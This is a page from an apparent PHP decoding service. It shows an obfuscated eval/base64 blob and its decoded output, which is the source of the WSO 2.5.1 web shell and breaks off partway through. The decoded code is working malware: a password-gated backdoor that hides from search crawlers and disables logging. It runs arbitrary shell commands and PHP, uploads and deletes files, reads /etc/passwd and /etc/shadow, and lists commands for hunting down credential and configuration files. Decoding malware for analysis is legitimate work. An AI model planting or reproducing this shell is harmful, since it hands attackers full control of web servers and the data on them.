Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(gzuncompress(base64_decode('eF7lff1X27jS8M97z7n/g/Fm67gNIQnQbRMSoHy0tBS6fPQLeLKO7..

Decoded Output download

$color="#df5";$default_action='FilesMan';$default_use_ajax=true;$default_charset='Windows-1251';$auth_pass='85c0d308446ab3d44eea8dea8906c145';if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");if(preg_match('/' .implode('|',$userAgents) .'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}@ini_set('error_log',NULL);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define('WSO_VERSION','2.5.1');if(get_magic_quotes_gpc()){function WSOstripslashes($array){return is_array($array)?array_map('WSOstripslashes',$array):stripslashes($array);}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");}function WSOsetcookie($k,$v){$_COOKIE[$k]=$v;setcookie($k,$v);}if(!empty($auth_pass)){if(isset($_POST['pass'])&&(md5($_POST['pass'])== $auth_pass))WSOsetcookie(md5($_SERVER['HTTP_HOST']),$auth_pass);if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])])||($_COOKIE[md5($_SERVER['HTTP_HOST'])]!= $auth_pass))wsoLogin();}if(strtolower(substr(PHP_OS,0,3))== "win")$os='win';else $os='nix';$safe_mode=@ini_get('safe_mode');if(!$safe_mode)error_reporting(0);$disable_functions=@ini_get('disable_functions');$home_cwd=@getcwd();if(isset($_POST['c']))@chdir($_POST['c']);$cwd=@getcwd();if($os == 'win'){$home_cwd=str_replace("\","/",$home_cwd);$cwd=str_replace("\","/",$cwd);}if($cwd[strlen($cwd)-1]!= '/')$cwd .= '/';if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']))$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']=(bool)$default_use_ajax;if($os == 'win')$aliases=array("List Directory"=> "dir","Find index.php in current dir"=> "dir /s /w /b index.php","Find *config*.php in current dir"=> "dir /s /w /b *config*.php","Show active connections"=> "netstat -an","Show running services"=> "net start","User accounts"=> "net user","Show computers"=> "net view","ARP Table"=> "arp -a","IP Configuration"=> "ipconfig /all");else $aliases=array("List dir"=> "ls -lha","list file attributes on a Linux second extended file system"=> "lsattr -va","show opened ports"=> "netstat -an | grep -i listen","process status"=> "ps aux","Find"=> "","find suid"=> "find / -type f -perm -04000 -ls","find suid in current dir"=> "find . -type f -perm -04000 -ls","find sgid"=> "find / -type f -perm -02000 -ls","find sgid files in current dir"=> "find . -type f -perm -02000 -ls","find config.inc.php"=> "find / -type f -name config.inc.php","find config*"=> "find / -type f -name \"config*\"","find config* in current dir"=> "find . -type f -name \"config*\"","find writable folders and files"=> "find / -perm -2 -ls","find writable folders and files in current dir"=> "find . -perm -2 -ls","find service.pwd"=> "find / -type f -name service.pwd","find service.pwd files in current dir"=> "find . -type f -name service.pwd","find .htpasswd"=> "find / -type f -name .htpasswd","find .htpasswd files in current dir"=> "find . -type f -name .htpasswd","find .bash_history"=> "find / -type f -name .bash_history","find .bash_history files in current dir"=> "find . -type f -name .bash_history","find .fetchmailrc"=> "find / -type f -name .fetchmailrc","find .fetchmailrc files in current dir"=> "find . -type f -name .fetchmailrc","Locate"=> "","locate httpd.conf"=> "locate httpd.conf","locate vhosts.conf"=> "locate vhosts.conf","locate proftpd.conf"=> "locate proftpd.conf","locate psybnc.conf"=> "locate psybnc.conf","locate my.conf"=> "locate my.conf","locate admin.php"=>"locate admin.php","locate cfg.php"=> "locate cfg.php","locate conf.php"=> "locate conf.php","locate config.dat"=> "locate config.dat","locate config.php"=> "locate config.php","locate config.inc"=> "locate config.inc","locate config.inc.php"=> "locate config.inc.php","locate config.default.php"=> "locate config.default.php","locate config*"=> "locate config","locate .conf"=>"locate '.conf'","locate .pwd"=> "locate '.pwd'","locate .sql"=> "locate '.sql'","locate .htpasswd"=> "locate '.htpasswd'","locate .bash_history"=> "locate '.bash_history'","locate .mysql_history"=> "locate '.mysql_history'","locate .fetchmailrc"=> "locate '.fetchmailrc'","locate backup"=> "locate backup","locate dump"=> "locate dump","locate priv"=> "locate priv");function wsoHeader(){if(empty($_POST['charset']))$_POST['charset']=$GLOBALS['default_charset'];global $color;echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" .$_POST['charset'] ."'><title>" .$_SERVER['HTTP_HOST'] ." - WSO " .WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" .htmlspecialchars($GLOBALS['cwd']) ."';
    var a_ = '" .htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" .htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" .((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" .((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" .((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" .addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";$freeSpace=@diskfreespace($GLOBALS['cwd']);$totalSpace=@disk_total_space($GLOBALS['cwd']);$totalSpace=$totalSpace?$totalSpace:1;$release=@php_uname('r');$kernel=@php_uname('s');$explink='http://exploit-db.com/search/?action=search&filter_description=';if(strpos('Linux',$kernel)!== false)$explink .= urlencode('Linux Kernel ' .substr($release,0,6));else $explink .= urlencode($kernel .' ' .substr($release,0,3));if(!function_exists('posix_getegid')){$user=@get_current_user();$uid=@getmyuid();$gid=@getmygid();$group="?";}else{$uid=@posix_getpwuid(posix_geteuid());$gid=@posix_getgrgid(posix_getegid());$user=$uid['name'];$uid=$uid['uid'];$group=$gid['name'];$gid=$gid['gid'];}$cwd_links='';$path=explode("/",$GLOBALS['cwd']);$n=count($path);for($i=0;$i<$n-1;$i++){$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";for($j=0;$j<=$i;$j++)$cwd_links .= $path[$j] .'/';$cwd_links .= "\")'>" .$path[$i] ."/</a>";}$charsets=array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');$opt_charsets='';foreach($charsets as $item)$opt_charsets .= '<option value="' .$item .'" ' .($_POST['charset']==$item?'selected':'') .'>' .$item .'</option>';$m=array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');if(!empty($GLOBALS['auth_pass']))$m['Logout']='Logout';$m['Self remove']='SelfRemove';$menu='';foreach($m as $k => $v)$menu .= '<th width="' .(int)(100/count($m)) .'%">[ <a href="#" onclick="g(\'' .$v .'\',null,\'\',\'\',\'\')">' .$k .'</a> ]</th>';$drives="";if($GLOBALS['os']== 'win'){foreach(range('c','z')as $drive)if(is_dir($drive .':\'))$drives .= '<a href="#" onclick="g(\'FilesMan\',\'' .$drive .':/\')">[ ' .$drive .' ]</a> ';}echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' .($GLOBALS['os']== 'win'?'<br>Drives:':'') .'</span></td>' .'<td><nobr>' .substr(@php_uname(),0,120) .' <a href="' .$explink .'" target=_blank>[exploit-db.com]</a></nobr><br>' .$uid .' ( ' .$user .' ) <span>Group:</span> ' .$gid .' ( ' .$group .' )<br>' .@phpversion() .' <span>Safe mode:</span> ' .($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>') .' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' .date('Y-m-d H:i:s') .'<br>' .wsoViewSize($totalSpace) .' <span>Free:</span> ' .wsoViewSize($freeSpace) .' (' .(int)($freeSpace/$totalSpace*100) .'%)<br>' .$cwd_links .' ' .wsoPermsColor($GLOBALS['cwd']) .' <a href=# onclick="g(\'FilesMan\',\'' .$GLOBALS['home_cwd'] .'\',\'\',\'\',\'\')">[ home ]</a><br>' .$drives .'</td>' .'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' .$opt_charsets .'</optgroup></select><br><span>Server IP:</span><br>' .@$_SERVER["SERVER_ADDR"] .'<br><span>Client IP:</span><br>' .$_SERVER['REMOTE_ADDR'] .'</nobr></td></tr></table>' .'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' .$menu .'</tr></table><div style="margin:5">';}function wsoFooter(){$is_writable=is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" .$GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";}if(!function_exists("posix_getpwuid")&&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)){function posix_getpwuid($p){return false;}}if(!function_exists("posix_getgrgid")&&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)){function posix_getgrgid($p){return false;}}function wsoEx($in){$out='';if(function_exists('exec')){@exec($in,$out);$out=@join("
",$out);}elseif(function_exists('passthru')){ob_start();@passthru($in);$out=ob_get_clean();}elseif(function_exists('system')){ob_start();@system($in);$out=ob_get_clean();}elseif(function_exists('shell_exec')){$out=shell_exec($in);}elseif(is_resource($f=@popen($in,"r"))){$out="";while(!@feof($f))$out .= fread($f,1024);pclose($f);}return $out;}function wsoViewSize($s){if(is_int($s))$s=sprintf("%u",$s);if($s >= 1073741824)return sprintf('%1.2f',$s/1073741824) .' GB';elseif($s >= 1048576)return sprintf('%1.2f',$s/1048576) .' MB';elseif($s >= 1024)return sprintf('%1.2f',$s/1024) .' KB';else return $s .' B';}function wsoPerms($p){if(($p&0xC000)== 0xC000)$i='s';elseif(($p&0xA000)== 0xA000)$i='l';elseif(($p&0x8000)== 0x8000)$i='-';elseif(($p&0x6000)== 0x6000)$i='b';elseif(($p&0x4000)== 0x4000)$i='d';elseif(($p&0x2000)== 0x2000)$i='c';elseif(($p&0x1000)== 0x1000)$i='p';else $i='u';$i .=(($p&0x0100)?'r':'-');$i .=(($p&0x0080)?'w':'-');$i .=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));$i .=(($p&0x0020)?'r':'-');$i .=(($p&0x0010)?'w':'-');$i .=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));$i .=(($p&0x0004)?'r':'-');$i .=(($p&0x0002)?'w':'-');$i .=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));return $i;}function wsoPermsColor($f){if(!@is_readable($f))return '<font color=#FF0000>' .wsoPerms(@fileperms($f)) .'</font>';elseif(!@is_writable($f))return '<font color=white>' .wsoPerms(@fileperms($f)) .'</font>';else return '<font color=#25ff00>' .wsoPerms(@fileperms($f)) .'</font>';}function wsoScandir($dir){if(function_exists("scandir")){return scandir($dir);}else{$dh=opendir($dir);while(false !==($filename=readdir($dh)))$files[]=$filename;return $files;}}function wsoWhich($p){$path=wsoEx('which ' .$p);if(!empty($path))return $path;return false;}function actionSecInfo(){wsoHeader();echo '<h1>Server security information</h1><div class=content>';function wsoSecParam($n,$v){$v=trim($v);if($v){echo '<span>' .$n .': </span>';if(strpos($v,"
")=== false)echo $v .'<br>';else echo '<pre class=ml1>' .$v .'</pre>';}}wsoSecParam('Server software',@getenv('SERVER_SOFTWARE'));if(function_exists('apache_get_modules'))wsoSecParam('Loaded Apache modules',implode(', ',apache_get_modules()));wsoSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');wsoSecParam('Open base dir',@ini_get('open_basedir'));wsoSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));wsoSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));wsoSecParam('cURL support',function_exists('curl_version')?'enabled':'no');$temp=array();if(function_exists('mysql_get_client_info'))$temp[]="MySql (" .mysql_get_client_info() .")";if(function_exists('mssql_connect'))$temp[]="MSSQL";if(function_exists('pg_connect'))$temp[]="PostgreSQL";if(function_exists('oci_connect'))$temp[]="Oracle";wsoSecParam('Supported databases',implode(', ',$temp));echo '<br>';if($GLOBALS['os']== 'nix'){wsoSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');wsoSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');wsoSecParam('OS version',@file_get_contents('/proc/version'));wsoSecParam('Distr name',@file_get_contents('/etc/issue.net'));if(!$GLOBALS['safe_mode']){$userful=array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');$danger=array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');$downloaders=array('wget','fetch','lynx','links','curl','get','lwp-mirror');echo '<br>';$temp=array();foreach($userful as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Userful',implode(', ',$temp));$temp=array();foreach($danger as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Danger',implode(', ',$temp));$temp=array();foreach($downloaders as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Downloaders',implode(', ',$temp));echo '<br/>';wsoSecParam('HDD space',wsoEx('df -h'));wsoSecParam('Hosts',@file_get_contents('/etc/hosts'));echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';if(isset($_POST['p2'],$_POST['p3'])&& is_numeric($_POST['p2'])&& is_numeric($_POST['p3'])){$temp="";for(;$_POST['p2']<= $_POST['p3'];$_POST['p2']++){$uid=@posix_getpwuid($_POST['p2']);if($uid)$temp .= join(':',$uid) ."
";}echo '<br/>';wsoSecParam('Users',$temp);}}}else{wsoSecParam('OS Version',wsoEx('ver'));wsoSecParam('Account Settings',wsoEx('net accounts'));wsoSecParam('User Accounts',wsoEx('net user'));}echo '</div>';wsoFooter();}function actionPhp(){if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();eval($_POST['p1']);$temp="document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" .addcslashes(htmlspecialchars(ob_get_clean()),"

	\'") ."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();if(isset($_POST['p2'])&&($_POST['p2']== 'info')){echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';ob_start();phpinfo();$tmp=ob_get_clean();$tmp=preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','!td, th {(.*)}!msiU','!<img[^>]+>!msiU',),array('','.e, .v, .h, .h th {$1}',''),$tmp);echo str_replace('<h1','<h2',$tmp) .'</div><br>';}echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' .(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'') .'</textarea><input type=submit value=Eval style="margin-top:5px">';echo ' <input type=checkbox name=ajax value=1 ' .($_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') .'> send using AJAX</form><pre id=PhpOutput style="' .(empty($_POST['p1'])?'display:none;':'') .'margin-top:5px;" class=ml1>';if(!empty($_POST['p1'])){ob_start();eval($_POST['p1']);echo htmlspecialchars(ob_get_clean());}echo '</pre></div>';wsoFooter();}function actionFilesMan(){if(!empty($_COOKIE['f']))$_COOKIE['f']=@unserialize($_COOKIE['f']);if(!empty($_POST['p1'])){switch($_POST['p1']){case 'uploadFile':if(!@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']))echo "Can't upload!";break;case 'mkdir':if(!@mkdir($_POST['p2']))echo "Can't create!";break;case 'delete':function deleteDir($path){$path=(substr($path,-1)=='/')?$path:$path .'/';$dh=opendir($path);while(($item=readdir($dh))!== false){$item=$path .$item;if((basename($item)== "..")||(basename($item)== "."))continue;$type=filetype($item);if($type == "dir")deleteDir($item);else@unlink($item);}closedir($dh);@rmdir($path);}if(is_array(@$_POST['f']))foreach($_POST['f']as $f){if($f == '..')continue;$f=urldecode($f);if(is_dir($f))deleteDir($f);else@unlink($f);}break;case 'paste':if($_COOKIE['act']== 'copy'){function copy_paste($c,$s,$d){if(is_dir($c .$s)){mkdir($d .$s);$h=@opendir($c .$s);while(($f=@readdir($h))!== false)if(($f != ".")and($f != ".."))copy_paste($c .$s .'/',$f,$d .$s .'/');}elseif(is_file($c .$s))@copy($c .$s,$d .$s);}foreach($_COOKIE['f']as $f)copy_paste($_COOKIE['c'],$f,$GLOBALS['cwd']);}elseif($_COOKIE['act']== 'move'){function move_paste($c,$s,$d){if(is_dir($c .$s)){mkdir($d .$s);$h=@opendir($c .$s);while(($f=@readdir($h))!== false)if(($f != ".")and($f != ".."))copy_paste($c .$s .'/',$f,$d .$s .'/');}elseif(@is_file($c .$s))@copy($c .$s,$d .$s);}foreach($_COOKIE['f']as $f)@rename($_COOKIE['c'] .$f,$GLOBALS['cwd'] .$f);}elseif($_COOKIE['act']== 'zip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();if($zip->open($_POST['p2'],1)){chdir($_COOKIE['c']);foreach($_COOKIE['f']as $f){if($f == '..')continue;if(@is_file($_COOKIE['c'] .$f))$zip->addFile($_COOKIE['c'] .$f,$f);elseif(@is_dir($_COOKIE['c'] .$f)){$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f .'/',FilesystemIterator::SKIP_DOTS));foreach($iterator as $key=>$value){$zip->addFile(realpath($key),$key);}}}chdir($GLOBALS['cwd']);$zip->close();}}}elseif($_COOKIE['act']== 'unzip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();foreach($_COOKIE['f']as $f){if($zip->open($_COOKIE['c'] .$f)){$zip->extractTo($GLOBALS['cwd']);$zip->close();}}}}elseif($_COOKIE['act']== 'tar'){chdir($_COOKIE['c']);$_COOKIE['f']=array_map('escapeshellarg',$_COOKIE['f']);wsoEx('tar cfzv ' .escapeshellarg($_POST['p2']) .' ' .implode(' ',$_COOKIE['f']));chdir($GLOBALS['cwd']);}unset($_COOKIE['f']);setcookie('f','',time()-3600);break;default:if(!empty($_POST['p1'])){WSOsetcookie('act',$_POST['p1']);WSOsetcookie('f',serialize(@$_POST['f']));WSOsetcookie('c',@$_POST['c']);}break;}}wsoHeader();echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';$dirContent=wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);if($dirContent === false){echo 'Can\'t open this folder!';wsoFooter();return;}global $sort;$sort=array('name',1);if(!empty($_POST['p1'])){if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['p1'],$match))$sort=array($match[1],(int)$match[2]);}echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" .($sort[1]?0:1) ."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" .($sort[1]?0:1) ."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" .($sort[1]?0:1) ."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" .($sort[1]?0:1) ."\")'>Permissions</a></th><th>Actions</th></tr>";$dirs=$files=array();$n=count($dirContent);for($i=0;$i<$n;$i++){$ow=@posix_getpwuid(@fileowner($dirContent[$i]));$gr=@posix_getgrgid(@filegroup($dirContent[$i]));$tmp=array('name'=> $dirContent[$i],'path'=> $GLOBALS['cwd'] .$dirContent[$i],'modify'=> date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'] .$dirContent[$i])),'perms'=> wsoPermsColor($GLOBALS['cwd'] .$dirContent[$i]),'size'=>@filesize($GLOBALS['cwd'] .$dirContent[$i]),'owner'=> $ow['name']?$ow['name']:@fileowner($dirContent[$i]),'group'=> $gr['name']?$gr['name']:@filegroup($dirContent[$i]));if(@is_file($GLOBALS['cwd'] .$dirContent[$i]))$files[]=array_merge($tmp,array('type'=> 'file'));elseif(@is_link($GLOBALS['cwd'] .$dirContent[$i]))$dirs[]=array_merge($tmp,array('type'=> 'link','link'=> readlink($tmp['path'])));elseif(@is_dir($GLOBALS['cwd'] .$dirContent[$i]))$dirs[]=array_merge($tmp,array('type'=> 'dir'));}$GLOBALS['sort']=$sort;function wsoCmp($a,$b){if($GLOBALS['sort'][0]!= 'size')return strcmp(strtolower($a[$GLOBALS['sort'][0]]),strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);else return(($a['size']<$b['size'])?-1:1)*($GLOBALS['sort'][1]?1:-1);}usort($files,"wsoCmp");usort($dirs,"wsoCmp");$files=array_merge($dirs,$files);$l=0;foreach($files as $f){echo '<tr' .($l?' class=l1':'') .'><td><input type=checkbox name="f[]" value="' .urlencode($f['name']) .'" class=chkbx></td><td><a href=# onclick="' .(($f['type']=='file')?'g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'view\')">' .htmlspecialchars($f['name']):'g(\'FilesMan\',\'' .$f['path'] .'\');" ' .(empty($f['link'])?'':"title='{$f['link']}'") .'><b>[ ' .htmlspecialchars($f['name']) .' ]</b>') .'</a></td><td>' .(($f['type']=='file')?wsoViewSize($f['size']):$f['type']) .'</td><td>' .$f['modify'] .'</td><td>' .$f['owner'] .'/' .$f['group'] .'</td><td><a href=# onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\',\'chmod\')">' .$f['perms'] .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'touch\')">T</a>' .(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'download\')">D</a>':'') .'</td></tr>';$l=$l?0:1;}echo "<tr><td colspan=7>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";if(class_exists('ZipArchive'))echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";echo "<option value='tar'>Compress (tar.gz)</option>";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f']))echo "<option value='paste'>Paste / Compress</option>";echo "</select>&nbsp;";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f'])&&(($_COOKIE['act']== 'zip')||($_COOKIE['act']== 'tar')))echo "file name: <input type=text name=p2 value='wso_" .date("Ymd_His") ."." .($_COOKIE['act']== 'zip'?'zip':'tar.gz') ."'>&nbsp;";echo "<input type='submit' value='>>'></td></tr></form></table></div>";wsoFooter();}function actionStringTools(){if(!function_exists('hex2bin')){function hex2bin($p){return decbin(hexdec($p));}}if(!function_exists('binhex')){function binhex($p){return dechex(bindec($p));}}if(!function_exists('hex2ascii')){function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i] .$p[$i+1]));}return $r;}}if(!function_exists('ascii2hex')){function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}if(!function_exists('full_urlencode')){function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%' .dechex(ord($p[$i]));return strtoupper($r);}}$stringTools=array('Base64 encode'=> 'base64_encode','Base64 decode'=> 'base64_decode','Url encode'=> 'urlencode','Url decode'=> 'urldecode','Full urlencode'=> 'full_urlencode','md5 hash'=> 'md5','sha1 hash'=> 'sha1','crypt'=> 'crypt','CRC32'=> 'crc32','ASCII to HEX'=> 'ascii2hex','HEX to ASCII'=> 'hex2ascii','HEX to DEC'=> 'hexdec','HEX to BIN'=> 'hex2bin','DEC to HEX'=> 'dechex','DEC to BIN'=> 'decbin','BIN to HEX'=> 'binhex','BIN to DEC'=> 'bindec','String to lower case'=> 'strtolower','String to upper case'=> 'strtoupper','Htmlspecialchars'=> 